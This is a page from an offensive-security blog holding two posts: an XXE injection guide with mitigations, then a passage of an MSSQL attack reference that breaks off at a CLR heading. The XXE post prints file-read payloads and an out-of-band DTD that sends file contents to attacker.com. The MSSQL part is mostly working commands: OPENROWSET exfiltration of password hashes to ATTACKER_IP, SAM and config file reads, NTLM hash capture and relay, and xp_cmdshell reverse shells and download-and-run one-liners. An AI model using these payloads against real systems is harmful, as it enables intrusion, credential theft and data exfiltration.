14/03/2012

Infiltrating corporate networks using XXE injection

XML External Entity (XXE) Injection — Updated 2026

XML External Entity (XXE) Injection

DTD Abuse // File Disclosure // Blind OOB Exfiltration // SSRF via XML
XXE CWE-611 A5:2021 SSRF Blind OOB Updated 2026

Intro

External entity injection is generally speaking a type of XML injection that allows an attacker to force a badly configured XML parser to "include" or "load" unwanted functionality that compromises the security of a web application. This type of attack is well documented and known since 2002, though it continues to appear in modern applications — particularly in SOAP services, file upload handlers, and legacy enterprise integrations.

Taxonomy (2026): XXE was categorized as OWASP A4:2017 — XXE (its own dedicated category). In OWASP Top 10 2021, it was merged into A5:2021 — Security Misconfiguration. The primary CWE is CWE-611 (Improper Restriction of XML External Entity Reference). Also relevant: CWE-827 (Improper Control of Document Type Definition).

XML external entity injection vulnerabilities arise because the XML specification allows XML documents to define entities which reference resources external to the document. XML parsers typically support this feature by default, even though it is rarely required by applications during normal usage.

An XXE attack is usually an attack on an application that parses XML input from untrusted sources using an incorrectly configured XML parser. The application may be coerced to open arbitrary files and/or TCP connections — allowing embedding of data outside the main file into an XML document. A successful XXE injection attack could allow an attacker to access operating system files, cause a DoS attack, perform SSRF, or in certain conditions inject JavaScript (performing an XSS attack).

How the XML parser works

Based on W3C Recommendation — Extensible Markup Language (XML) 1.0, Fifth Edition

When an XML processor recognizes a reference to a parsed entity, in order to validate the document, the processor MUST include its replacement text. If the entity is external, and the processor is not attempting to validate the XML document, the processor MAY, but need not, include the entity's replacement text. If a non-validating processor does not include the replacement text, it MUST inform the application that it recognized, but did not read, the entity.

This rule is based on the recognition that the automatic inclusion provided by the SGML and XML entity mechanism, primarily designed to support modularity in authoring, is not necessarily appropriate for other applications, in particular document browsing. Browsers, for example, when encountering an external parsed entity reference, might choose to provide a visual indication of the entity's presence and retrieve it for display only on demand.

When an entity reference appears in an attribute value, or a parameter entity reference appears in a literal entity value, its replacement text MUST be processed in place of the reference itself as though it were part of the document at the location the reference was recognized, except that a single or double quote character in the replacement text MUST always be treated as a normal data character and MUST NOT terminate the literal.

How the XML parser handles XXEs

An XXE is meant to be converted to a Uniform Resource Identifier (URI) reference (as defined in IETF RFC 3986), as part of the process of dereferencing it to obtain input for the XML processor to construct the entity's replacement text. It is an error for a fragment identifier (beginning with a # character) to be part of a system identifier. Unless otherwise provided by information outside the scope of this article, or a processing instruction defined by a particular application specification, relative URIs are relative to the location of the resource within which the entity declaration occurs.

This is defined to be the external entity containing the < which starts the declaration, at the point when it is parsed as a declaration. A URI might thus be relative to the document entity, to the entity containing the external Document Type Definition (DTD) subset, or to some other external parameter entity. Attempts to retrieve the resource identified by a URI may be redirected at the parser level (for example, in an entity resolver) or below (at the protocol level, for example, via an HTTP Location: header).

Note: A Document Type Definition defines the legal building blocks of an XML document. It defines the document structure with a list of legal elements and attributes. A DTD can be declared inline inside an XML document, or as an external reference.

In the absence of additional information outside the scope of this specification within the resource, the base URI of a resource is always the URI of the actual resource returned. In other words, it is the URI of the resource retrieved after all redirection has occurred.

Attacker Crafts malicious XML <!ENTITY xxe SYSTEM ...> Vulnerable XML parser DTD processing enabled Local files file:///etc/passwd Internal services http://internal:8080 Cloud metadata 169.254.169.254 Data exfiltration In-band or OOB via external DTD Attacker receives data
Figure 1 — XXE attack flow: from malicious DTD to data exfiltration

An actual example of XXE

Based on what is already explained about how the XML parser handles XXE, in the following example the XML document will make an XML parser read /etc/passwd and expand it into the content of the PutMeHere tag:

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE PutMeHere [ <!ELEMENT PutMeHere ANY> <!ENTITY xxe SYSTEM "/etc/passwd"> ]> <PutMeHere>&xxe;</PutMeHere>

See how the ENTITY definition creates the xxe entity, and how this entity is referenced in the final line. The textual content of the PutMeHere tag will be the content of /etc/passwd. If the above XML input is fed to a badly configured XML parser, the passwd file contents will be loaded and returned.

Note: The XML document is not valid if the &xxe; reference does not start with the & character and terminate with the ; character. The attack is limited to files containing text that the XML parser will allow at the place where the external entity is referenced. Files containing non-printable characters, and files with randomly located less-than signs or ampersands, will not be included. This restriction greatly limits the number of possible target files.

Identifying XXE attack strings

The following table contains attack strings that can help someone break the XML schema and cause the XML parser to return possibly verbose errors, helping you identify the XML structures.

#PayloadPurpose
1'Single quote — break attribute values
2''Double single quote
3"Double quote — break attribute values
4""Double double quote
5<Open tag — trigger parser error
6>Close tag
7]]>CDATA end — premature closure
8]]>>Malformed CDATA end
9<!--/-->Malformed comment
10/-->Partial comment close
11-->Comment close without open
12<!--Comment open without close
13<!Incomplete declaration
14<![CDATA[ / ]]>CDATA section — bypass parsing
CDATA sections: <![CDATA[ / ]]> — CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. Characters enclosed in a CDATA section are not parsed by the XML parser.

Exploiting XXE vulnerabilities

Let's suppose there is a web application using XML-style communication to perform user login. This is done by creating and adding a new <user> node on an XML database file. We will try to inject XML that breaks the schema. Some or all of the following attempts will generate an XML error, helping us understand the XML schema.

Valid XML request

<?xml version="1.0" encoding="ISO-8859-1"?> <user> <username>user1</username> <credentials>pass1</credentials> </user>

Example 1 — angle bracket injection

<?xml version="1.0" encoding="ISO-8859-1"?> <user> <username>user1<</username> <credentials>pass1</credentials> </user>

Example 2 — malformed comment injection

<?xml version="1.0" encoding="ISO-8859-1"?> <user> <username>user1<--<</username> <credentials>pass1</credentials> </user>

Example 3 — closing angle bracket

<?xml version="1.0" encoding="ISO-8859-1"?> <user> <username>user1></username> <credentials>pass1</credentials> </user>

Example 4 — comment injection

<?xml version="1.0" encoding="ISO-8859-1"?> <user> <username>user1<!--/--></username> <credentials>pass1</credentials> </user>

Injecting <!-- after the username causes the parser to interpret everything after it as a comment, potentially consuming the closing tag and credentials field — generating an informative error message that reveals schema structure.

Example 5 — CDATA injection

<?xml version="1.0" encoding="ISO-8859-1"?> <user> <username>user1 <![CDATA[ / ]]> </username> <credentials>pass1</credentials> </user>

Example 6 — XSS via CDATA

<?xml version="1.0" encoding="ISO-8859-1"?> <user> <username>user1<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]></username> <credentials>pass1</credentials> </user>

When the XML document is parsed, the CDATA delimiters are eliminated, reconstructing a <script> tag. If the tag contents are reflected in an HTML page, XSS is achieved.

A real attack scenario

XXE attacks can result in OS file read access, similar to a path traversal attack. Consider a sophisticated e-banking application that uses the browser as a thin client, consuming a web service after successful login. The transaction XML message carries the username and password back and forth alongside the transaction data.

Client request — legitimate transaction

<?xml version="1.0" encoding="ISO-8859-7"?> <appname> <header> <principal>username1</principal> <credential>userpass1</credential> </header> <fixedPaymentsDebitRequest> <fixedPayment organizationId="44" productId="61" clientId="33333333" paymentId="3" referenceDate="2008-05-12" paymentDate="20-11-25"> <amount currency="EUR">100,1</amount> <transactionId>1111111</transactionId> <description>customer description</description> </fixedPayment> </fixedPaymentsDebitRequest> </appname>

Client request — with XXE injection

<?xml version="1.0" encoding="ISO-8859-7"?> <!DOCTYPE foo [<!ENTITY xxefca0a SYSTEM "file:///etc/passwd"> ]> <appname> <header> <principal>username1&xxefca0a;</principal> <credential>userpass1</credential> </header> <fixedPaymentsDebitRequest> ... </fixedPaymentsDebitRequest> </appname>

The &xxefca0a; entity reference in the <principal> tag causes the parser to read /etc/passwd and embed its contents into the XML. The server response — whether a success or error message — will contain the file contents concatenated with the username.

Server response — file contents exfiltrated

HTTP/1.1 400 Bad Request ...error message containing... username1root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin ... jboss:x:101:101:JBossAS:/usr/share/jbossas:/bin/sh Server: Apache/x.x (Red Hat) Content-Type: text/html;charset=ISO-8859-1
Attacker XXE payload Vulnerable web app XML parser as SSRF proxy Escalation paths Read /etc/hosts Map internal IPs Port scan http://host:PORT Fingerprint Web servers / DBs Map FW rules Egress filtering Full internal network compromise SQLi via proxy / admin panel access / DB shutdown Tools: Burp Intruder (Sniper mode) + DirBuster wordlist + fuzzdb Technique: rotate ports per host, identify egress rules from error timing
Figure 2 — XXE escalation: from file read to full internal network pivot

The next step after initial file exfiltration would be to map the outbound local firewall rules to see what traffic is allowed to go out. Download the /etc/hosts file of the compromised web server, then start forwarding traffic to identified internal machines. As soon as you get a response back, you know that the specific machine is actively responding. Then rotate through all ports to identify which services are accessible. This maps the egress filtering done by the application server's local firewall.

After mapping the firewall rules, the next step would be to fingerprint surrounding web servers using DirBuster directory lists, or further escalate using HTTPS to fingerprint based on SSL/TLS error responses, and then deliver payloads or perform path traversal / SQL injection attacks through the XML parser.

What can you do with a successful XXE attack

  1. Use the application as a proxy, retrieving sensitive content from any web servers the application can reach, including those on private non-routable address space.
  2. Exploit vulnerabilities on back-end web applications, provided they can be exploited via URIs (directory brute-forcing, SQL injection, path traversal, etc.).
  3. Test for open ports on back-end systems by cycling through IP addresses and port numbers. Timing differences can be used to infer the state of requested ports. Service banners may appear in application responses.
  4. Map firewall rules on other company extranets.
  5. DoS internal company web server machines (e.g. requesting /dev/random or recursive entity expansion — the "Billion Laughs" attack).
  6. Hide port scans by mixing them with the vulnerable web server's legitimate traffic.
  7. Access cloud metadata endpoints to steal IAM credentials (AWS, GCP, Azure).
  8. Connect to internal services like syslog daemons, proxy admin panels, or unprotected file shares via UNC paths.
  9. Launch blind SQL injection attacks through the parser against surrounding database servers.

Modern attack vectors New 2026

Blind XXE via out-of-band (OOB) exfiltration

When the application does not return the parsed entity content in its response (no direct output), blind XXE via OOB channels can still exfiltrate data. The technique uses parameter entities to load an external DTD from an attacker-controlled server, which in turn constructs a URL containing the target file's contents and forces the parser to request it.

# Malicious payload sent to the application: <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]> <root>test</root> # Contents of evil.dtd hosted on attacker.com: <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>"> %eval; %exfil;

The parser loads the external DTD, reads the target file into the %file; parameter entity, constructs a URL containing the file data, and makes an HTTP request to the attacker's server — exfiltrating the data in the URL query string. This works even when no XML output is reflected to the attacker.

Step 1 Attacker XXE + ext DTD ref Vulnerable parser Step 2 evil.dtd Step 3: Parser loads DTD Step 4: Parser reads local file file:///etc/hostname Content: "prod-web-01" Step 5: Exfil via HTTP callback HTTP request to attacker GET /?data=prod-web-01 → attacker.com Attacker reads data from access logs
Figure 3 — Blind XXE via out-of-band (OOB) data exfiltration

XXE via file upload

Many common file formats are XML-based internally. Uploading a malicious file in one of these formats can trigger XXE processing even when the application doesn't appear to accept XML input:

  1. SVG images — SVG is XML. A malicious SVG with an XXE payload can trigger when the server processes the image (thumbnail generation, rendering, metadata extraction).
  2. DOCX / XLSX / PPTX — Microsoft Office Open XML formats are ZIP archives containing XML files. Replacing [Content_Types].xml or other internal XML files with XXE payloads can trigger the vulnerability when the server parses the document.
  3. SOAP endpoints — SOAP is inherently XML-based. DTD declarations injected into SOAP envelopes are frequently processed by the underlying XML parser.
# Malicious SVG file (upload as profile picture, etc.): <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg xmlns="http://www.w3.org/2000/svg"> <text x="0" y="20">&xxe;</text> </svg>

Content-type switching (JSON to XML)

Some application frameworks accept both JSON and XML based on the Content-Type header. If an API endpoint normally expects JSON, switching the Content-Type to application/xml or text/xml may cause the server to route the body through an XML parser — even if the developers never intended to accept XML input. This is particularly common with Java-based REST frameworks (JAX-RS, Spring MVC).

# Original JSON request: POST /api/login HTTP/1.1 Content-Type: application/json {"username": "admin", "password": "test"} # Switched to XML with XXE: POST /api/login HTTP/1.1 Content-Type: application/xml <?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root> <username>&xxe;</username> <password>test</password> </root>

Mitigation of XXE vulnerabilities Updated

The primary defense is to disable DTD processing and external entity resolution in your XML parser. The exact configuration varies by language and library:

Java (DocumentBuilderFactory)

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // Disable DTDs entirely (most secure) dbf.setFeature( "http://apache.org/xml/features/disallow-doctype-decl", true); // If DTDs can't be disabled, at minimum disable external entities dbf.setFeature( "http://xml.org/sax/features/external-general-entities", false); dbf.setFeature( "http://xml.org/sax/features/external-parameter-entities", false); dbf.setFeature( "http://apache.org/xml/features/nonvalidating/load-external-dtd", false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false);

Python (lxml / defusedxml)

# Use defusedxml — drop-in replacement that blocks XXE by default import defusedxml.ElementTree as ET tree = ET.parse('input.xml') # Or with lxml, disable network access and entity resolution from lxml import etree parser = etree.XMLParser( resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False )

.NET (XmlReaderSettings)

XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; settings.XmlResolver = null; XmlReader reader = XmlReader.Create(stream, settings);

PHP (libxml)

// Disable entity loading before any XML parsing libxml_disable_entity_loader(true); // For SimpleXML: $xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT | LIBXML_NONET);
Important: libxml_disable_entity_loader() is deprecated in PHP 8.0+ because libxml2 >= 2.9.0 disables external entity loading by default. However, always verify your specific PHP and libxml2 versions — older deployments may still be vulnerable.

General hardening principles

  1. Disable DTD processing entirely — this is the most effective defense. If your application doesn't need DTD validation (and almost none do), disable the DOCTYPE declaration completely.
  2. Use allowlists for external entity URIs — if external entities are genuinely needed, restrict them to known-good URIs only.
  3. Validate Content-Type headers — reject XML content types on endpoints that should only accept JSON. This blocks content-type switching attacks.
  4. Scan uploaded files — inspect DOCX, XLSX, SVG, and other XML-based file formats for DTD declarations before processing them.
  5. Apply network-level controls — even if XXE is exploited, egress filtering, IMDSv2 enforcement, and network segmentation limit the blast radius.
  6. Use SAST tools — static analysis can identify insecure XML parser configurations. Tools like Semgrep have built-in rules for XXE detection across multiple languages.

Summary

When an application is vulnerable to XXE, the attacker may be capable of gaining access to the web server OS file system, causing DoS attacks (via /dev/random or recursive entity expansion), performing SSRF against internal services, exfiltrating data via out-of-band channels, or even achieving XSS through XML-to-HTML reflection. Modern XXE often comes through non-obvious vectors: SVG uploads, Office documents, SOAP endpoints, and content-type switching on REST APIs.


11/03/2012

MSSQL Injection OPENROWSET Side Channel

MSSQL Exploitation: OPENROWSET, xp_cmdshell, and Database Attack Primitives — 2026 Edition
2026 Edition

MSSQL Exploitation: OPENROWSET, xp_cmdshell, and Database Attack Primitives

A penetration tester's complete reference to MSSQL attack surface — from SQL injection to OS shell, data exfiltration to domain compromise.

Microsoft SQL Server remains one of the most common database platforms in enterprise environments, and it is consistently one of the most rewarding targets in internal penetration tests. MSSQL offers a rich set of built-in functionality that, when misconfigured or when accessed through SQL injection, gives an attacker capabilities ranging from data exfiltration to full operating system command execution to Active Directory domain compromise.

This post covers the core attack primitives every pentester needs to know: OPENROWSET for data exfiltration and file access, xp_cmdshell for OS command execution, hash capture techniques, privilege escalation within SQL Server, and the relationship between MSSQL and Active Directory that makes database compromise a frequent path to domain admin.

Who this is for: Penetration testers, OSCP/OSCP+ candidates, and security engineers who encounter MSSQL during internal engagements. Assumes familiarity with SQL injection fundamentals and basic Windows/AD concepts. All techniques demonstrated here require authorized access — this is pentest documentation, not a hacking tutorial.


Initial Access

Getting Into MSSQL

Before exploiting MSSQL internals, you need access. The most common paths in during a penetration test:

Access VectorDetails
SQL Injection Web application or API vulnerability that passes attacker-controlled input to MSSQL queries. The classic path. Stacked queries (; statement separator) are supported in MSSQL, which massively expands what you can do compared to databases that only allow single statements.
Default / Weak Credentials SA account with blank or weak password, application service accounts with predictable credentials. Spray with CrackMapExec: crackmapexec mssql target -u sa -p passwords.txt
Credential Reuse Credentials captured elsewhere (Responder, LSASS dump, config files) that work against MSSQL. Try captured domain creds with Windows authentication.
Connection String Leaks Hardcoded credentials in web.config, appsettings.json, environment variables, source code repositories, or SharePoint/wiki pages.
SPN Discovery MSSQL instances register SPNs in Active Directory. Enumerate with GetUserSPNs.py or PowerUpSQL's Get-SQLInstanceDomain — gives you instance locations and potential Kerberoasting targets.

Discovery and Enumeration

# Discover MSSQL instances on the network # UDP broadcast on port 1434 (SQL Browser Service) nmap -sU -p 1434 --script ms-sql-info target_range # Nmap scripts for MSSQL nmap -p 1433 --script ms-sql-info,ms-sql-config,ms-sql-empty-password target_ip # CrackMapExec enumeration crackmapexec mssql target_range crackmapexec mssql target_ip -u user -p password --local-auth # PowerUpSQL — AD-integrated discovery (from domain-joined host) Import-Module PowerUpSQL Get-SQLInstanceDomain # Find all SQL instances via SPN enumeration Get-SQLInstanceBroadcast # UDP broadcast discovery Get-SQLServerInfo -Instance "target_ip" # Impacket mssqlclient.py domain/user:password@target_ip -windows-auth mssqlclient.py sa:password@target_ip

First Steps After Access

Once connected, enumerate your privileges and the environment before doing anything aggressive:

-- Who are you? SELECT SYSTEM_USER; -- Login name (SQL or Windows) SELECT USER_NAME(); -- Database user name SELECT @@SERVERNAME; -- Server name SELECT @@VERSION; -- Full version string SELECT DB_NAME(); -- Current database -- Are you sysadmin? SELECT IS_SRVROLEMEMBER('sysadmin'); -- 1 = yes -- All logins and their roles SELECT sp.name AS login, sp.type_desc, sp.is_disabled, sl.sysadmin, sl.securityadmin, sl.serveradmin FROM sys.server_principals sp JOIN sys.syslogins sl ON sp.sid = sl.sid WHERE sp.type IN ('S','U','G'); -- List databases SELECT name, state_desc FROM sys.databases; -- List user tables in current database SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE'; -- Check interesting server configurations EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell'; -- OS command execution EXEC sp_configure 'Ad Hoc Distributed Queries'; -- OPENROWSET EXEC sp_configure 'Ole Automation Procedures'; -- sp_OACreate EXEC sp_configure 'clr enabled'; -- CLR assemblies -- Check linked servers (lateral movement opportunities) EXEC sp_linkedservers; SELECT * FROM sys.servers;

Data Exfiltration

OPENROWSET — Remote Data Access and Exfiltration

OPENROWSET is a T-SQL function that performs a one-time, ad-hoc connection to a remote OLE DB data source — another SQL Server, an Access database, an Excel file, or any OLE DB-compatible source. It appears in SELECT, INSERT, UPDATE, and DELETE statements without requiring a persistent linked server configuration. It also supports a BULK provider for reading local files directly.

From a pentester's perspective, OPENROWSET gives you three capabilities: outbound data exfiltration to an attacker-controlled database, local file reading on the database server, and NTLM hash capture via UNC path authentication.

Prerequisites

  • The Ad Hoc Distributed Queries server option must be enabled (disabled by default since SQL Server 2005 — but always check, because DBAs re-enable it for legitimate reasons)
  • The executing user needs appropriate permissions — sysadmin can do everything; non-sysadmin users need explicit ADMINISTER BULK OPERATIONS for BULK operations
  • For outbound exfiltration: TCP connectivity from the database server to your listener (default port 1433, but you can specify any port)
-- Check if Ad Hoc Distributed Queries is enabled EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'Ad Hoc Distributed Queries'; -- config_value = 1 means enabled -- Enable it (requires sysadmin) EXEC sp_configure 'Ad Hoc Distributed Queries', 1; RECONFIGURE;

OPENROWSET Syntax

OPENROWSET( 'provider_name', 'provider_string', -- connection info: server, credentials { [catalog.][schema.]object | 'query' } ) -- Or with BULK provider (local file read): OPENROWSET( BULK 'file_path', SINGLE_CLOB | SINGLE_BLOB | SINGLE_NCLOB | FORMATFILE = 'format_file_path' ) AS alias

The key arguments:

ArgumentWhat It Does
provider_nameOLE DB provider. For MSSQL-to-MSSQL: 'SQLOLEDB' (legacy) or 'MSOLEDBSQL' (modern). For ODBC: 'MSDASQL'.
datasourceServer address. Use Network=DBMSSOCN; prefix for TCP/IP. Append ,port after IP for non-standard ports.
user_id / passwordCredentials for the remote data source — these are credentials on your attacker-controlled server, not the target.
provider_stringAlternative: entire connection string in one parameter.
'query'Pass-through query executed on the remote server. Results returned to the local context.
BULK 'file_path'Read a local file. SINGLE_CLOB = text, SINGLE_BLOB = binary, SINGLE_NCLOB = Unicode text.

Technique 1: Outbound Data Exfiltration

The core attack: use OPENROWSET to push query results from the target database to a SQL Server you control. The target database initiates the outbound TCP connection — if egress filtering blocks port 1433, specify a different port.

Attacker Setup

# Run MSSQL on your attack machine via Docker docker run -e "ACCEPT_EULA=Y" -e "MSSQL_SA_PASSWORD=Attacker!Pass123" \ -p 1433:1433 --name mssql-loot \ -d mcr.microsoft.com/mssql/server:2022-latest # On a non-standard port (firewall evasion) docker run -e "ACCEPT_EULA=Y" -e "MSSQL_SA_PASSWORD=Attacker!Pass123" \ -p 8443:1433 --name mssql-loot \ -d mcr.microsoft.com/mssql/server:2022-latest # Create the loot database and receiving table # Columns must match the data you are exfiltrating sqlcmd -S localhost -U sa -P 'Attacker!Pass123' -Q " CREATE DATABASE loot; GO USE loot; CREATE TABLE exfil_users (username NVARCHAR(256), email NVARCHAR(256), pw_hash NVARCHAR(256)); CREATE TABLE exfil_tables (table_name NVARCHAR(256)); CREATE TABLE exfil_generic (col1 NVARCHAR(MAX)); GO "

Exfiltration Queries (executed on target)

-- Test outbound connectivity: SELECT from your attacker server SELECT * FROM OPENROWSET( 'SQLOLEDB', 'Network=DBMSSOCN;Address=ATTACKER_IP;uid=sa;pwd=Attacker!Pass123', 'SELECT 1 AS connectivity_test' ); -- If this returns "1", you have outbound TCP to your server -- Non-standard port (e.g., 8443) SELECT * FROM OPENROWSET( 'SQLOLEDB', 'Network=DBMSSOCN;Address=ATTACKER_IP,8443;uid=sa;pwd=Attacker!Pass123', 'SELECT 1 AS connectivity_test' ); -- Exfiltrate user table names INSERT INTO OPENROWSET( 'SQLOLEDB', 'Network=DBMSSOCN;Address=ATTACKER_IP;uid=sa;pwd=Attacker!Pass123', 'SELECT * FROM loot.dbo.exfil_tables' ) SELECT name FROM sysobjects WHERE xtype = 'U'; -- Exfiltrate actual application data INSERT INTO OPENROWSET( 'SQLOLEDB', 'Network=DBMSSOCN;Address=ATTACKER_IP;uid=sa;pwd=Attacker!Pass123', 'SELECT * FROM loot.dbo.exfil_users' ) SELECT TOP 500 username, email, password_hash FROM dbo.Users; -- Exfiltrate server configuration INSERT INTO OPENROWSET( 'SQLOLEDB', 'Network=DBMSSOCN;Address=ATTACKER_IP;uid=sa;pwd=Attacker!Pass123', 'SELECT * FROM loot.dbo.exfil_generic' ) SELECT name + '=' + CAST(value_in_use AS NVARCHAR(50)) FROM sys.configurations WHERE name IN ('xp_cmdshell','clr enabled','Ad Hoc Distributed Queries','Ole Automation Procedures');

Column matching is critical: The INSERT INTO OPENROWSET ... SELECT pattern requires that the columns returned by your local SELECT match the columns of the remote table in number and compatible data types. If they do not match, the query fails silently or throws a type mismatch error. Use NVARCHAR(MAX) on your loot table for maximum flexibility, and cast columns as needed.

Technique 2: Local File Read (BULK Provider)

The BULK provider reads files on the database server's filesystem — anything the SQL Server service account can access. This is how you extract configuration files, connection strings, and potentially credential material without needing OS command execution.

-- Read web.config (connection strings, API keys, encryption keys) SELECT BulkColumn FROM OPENROWSET(BULK 'C:\inetpub\wwwroot\web.config', SINGLE_CLOB) AS x; -- Read appsettings.json (.NET Core / .NET 5+ applications) SELECT BulkColumn FROM OPENROWSET(BULK 'C:\inetpub\wwwroot\appsettings.json', SINGLE_CLOB) AS x; -- Read machine.config (machine-wide .NET config) SELECT BulkColumn FROM OPENROWSET( BULK 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config', SINGLE_CLOB ) AS x; -- Read hosts file (internal hostname mapping) SELECT BulkColumn FROM OPENROWSET(BULK 'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS x; -- Read SQL Server error log (may contain query fragments, paths, usernames) SELECT BulkColumn FROM OPENROWSET( BULK 'C:\Program Files\Microsoft SQL Server\MSSQL16.MSSQLSERVER\MSSQL\Log\ERRORLOG', SINGLE_CLOB ) AS x; -- Read binary files (e.g., backup copies of SAM/SYSTEM) SELECT BulkColumn FROM OPENROWSET(BULK 'C:\temp\SAM', SINGLE_BLOB) AS x; -- Attempt registry hive copies (usually locked, but try backup locations) -- C:\Windows\repair\SAM, Volume Shadow Copies, etc.

Technique 3: NTLM Hash Capture via UNC Path

This is one of the most reliable and impactful techniques. When MSSQL accesses a UNC path (\\server\share), the SQL Server service account authenticates to the remote SMB server — sending its NTLMv2 hash. You do not need OPENROWSET enabled for this; several built-in procedures trigger UNC authentication.

-- Method 1: OPENROWSET BULK with UNC path SELECT BulkColumn FROM OPENROWSET(BULK '\\ATTACKER_IP\share\doesnotexist.txt', SINGLE_CLOB) AS x; -- File doesn't need to exist — authentication happens before file access -- Method 2: xp_dirtree (works for ANY authenticated user, not just sysadmin) EXEC xp_dirtree '\\ATTACKER_IP\share'; -- Method 3: xp_fileexist EXEC xp_fileexist '\\ATTACKER_IP\share\file.txt'; -- Method 4: xp_subdirs EXEC xp_subdirs '\\ATTACKER_IP\share'; -- Method 5: BACKUP DATABASE to UNC (requires appropriate permissions) BACKUP DATABASE master TO DISK = '\\ATTACKER_IP\share\backup.bak';

Attacker-Side Capture

# Option 1: Responder (captures NTLMv2 hash) sudo responder -I eth0 -v # Option 2: Impacket smbserver (captures hash + can serve files) sudo impacket-smbserver share /tmp/share -smb2support # Option 3: Relay instead of capture (if SMB signing is not required) sudo ntlmrelayx.py -t target_host -smb2support # After capture, crack NTLMv2 with Hashcat hashcat -m 5600 captured_hash.txt rockyou.txt -r rules/best64.rule

Why this matters: SQL Server service accounts are frequently domain accounts with elevated privileges — sometimes local admin on multiple servers, sometimes members of high-privilege AD groups. Capturing and cracking (or relaying) the service account hash can give you lateral movement across the entire environment. The xp_dirtree method is especially valuable because it does not require sysadmin or any special configuration — any authenticated database user can trigger it.


OS Access

xp_cmdshell — Operating System Command Execution

xp_cmdshell is the most direct path from SQL Server access to operating system compromise. It spawns a Windows command shell process, executes the specified command, and returns output as rows of text. This has been disabled by default since SQL Server 2005, but if you have sysadmin privileges, you can re-enable it with two configuration commands.

Enable and Execute

-- Check current state EXEC sp_configure 'xp_cmdshell'; -- run_value = 0 means disabled -- Enable (requires sysadmin) EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- Execute OS commands EXEC xp_cmdshell 'whoami'; EXEC xp_cmdshell 'whoami /priv'; EXEC xp_cmdshell 'hostname'; EXEC xp_cmdshell 'ipconfig /all'; EXEC xp_cmdshell 'net user'; EXEC xp_cmdshell 'net localgroup administrators'; EXEC xp_cmdshell 'net group "Domain Admins" /domain'; EXEC xp_cmdshell 'systeminfo'; EXEC xp_cmdshell 'tasklist /v'; EXEC xp_cmdshell 'netstat -ano'; EXEC xp_cmdshell 'dir C:\inetpub\wwwroot\'; EXEC xp_cmdshell 'type C:\inetpub\wwwroot\web.config';

Getting a Reverse Shell

-- PowerShell reverse shell (most common) EXEC xp_cmdshell 'powershell -ep bypass -nop -c "$c=New-Object Net.Sockets.TCPClient(''ATTACKER_IP'',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII.GetBytes($r)),0,$r.Length)}"'; -- Download and execute (two-stage — more reliable) EXEC xp_cmdshell 'powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString(''http://ATTACKER_IP/shell.ps1'')"'; -- Certutil file transfer (often less monitored than PowerShell downloads) EXEC xp_cmdshell 'certutil -urlcache -split -f http://ATTACKER_IP/nc64.exe C:\Windows\Temp\nc64.exe'; EXEC xp_cmdshell 'C:\Windows\Temp\nc64.exe ATTACKER_IP 4444 -e cmd.exe'; -- Bitsadmin file transfer (alternative) EXEC xp_cmdshell 'bitsadmin /transfer job /download /priority high http://ATTACKER_IP/payload.exe C:\Windows\Temp\payload.exe'; -- Meterpreter via Metasploit (automated) -- In msfconsole: -- use exploit/windows/mssql/mssql_payload -- set RHOSTS target_ip -- set USERNAME sa -- set PASSWORD password -- run

Detection warning: Enabling xp_cmdshell generates SQL Server Audit events (specifically, sp_configure changes are logged). Most EDR solutions hook cmd.exe and powershell.exe child processes spawned by sqlservr.exe — this is a high-fidelity detection. In mature environments, expect this to trigger alerts within seconds. Consider stealthier alternatives (below) for environments with active monitoring.

Disable After Use

-- Clean up: disable xp_cmdshell when done EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; EXEC sp_configure 'show advanced options', 0; RECONFIGURE;

Alternatives

Beyond xp_cmdshell: Stealthier Execution Methods

When xp_cmdshell is too noisy or too monitored, MSSQL provides several alternative code execution paths. Each has different prerequisites, detection profiles, and capabilities.

sp_OACreate — OLE Automation

Instantiate COM objects within SQL Server. The classic technique uses wscript.shell to execute OS commands without touching xp_cmdshell.

-- Enable OLE Automation (requires sysadmin) EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; -- Execute a command via wscript.shell DECLARE @shell INT; EXEC sp_OACreate 'wscript.shell', @shell OUTPUT; EXEC sp_OAMethod @shell, 'run', NULL, 'cmd /c whoami > C:\Windows\Temp\output.txt'; -- Read the output EXEC xp_cmdshell 'type C:\Windows\Temp\output.txt'; -- Or use OPENROWSET BULK to read it without xp_cmdshell: SELECT BulkColumn FROM OPENROWSET( BULK 'C:\Windows\Temp\output.txt', SINGLE_CLOB ) AS x;

CLR Assembly — Custom .NET Code Execution

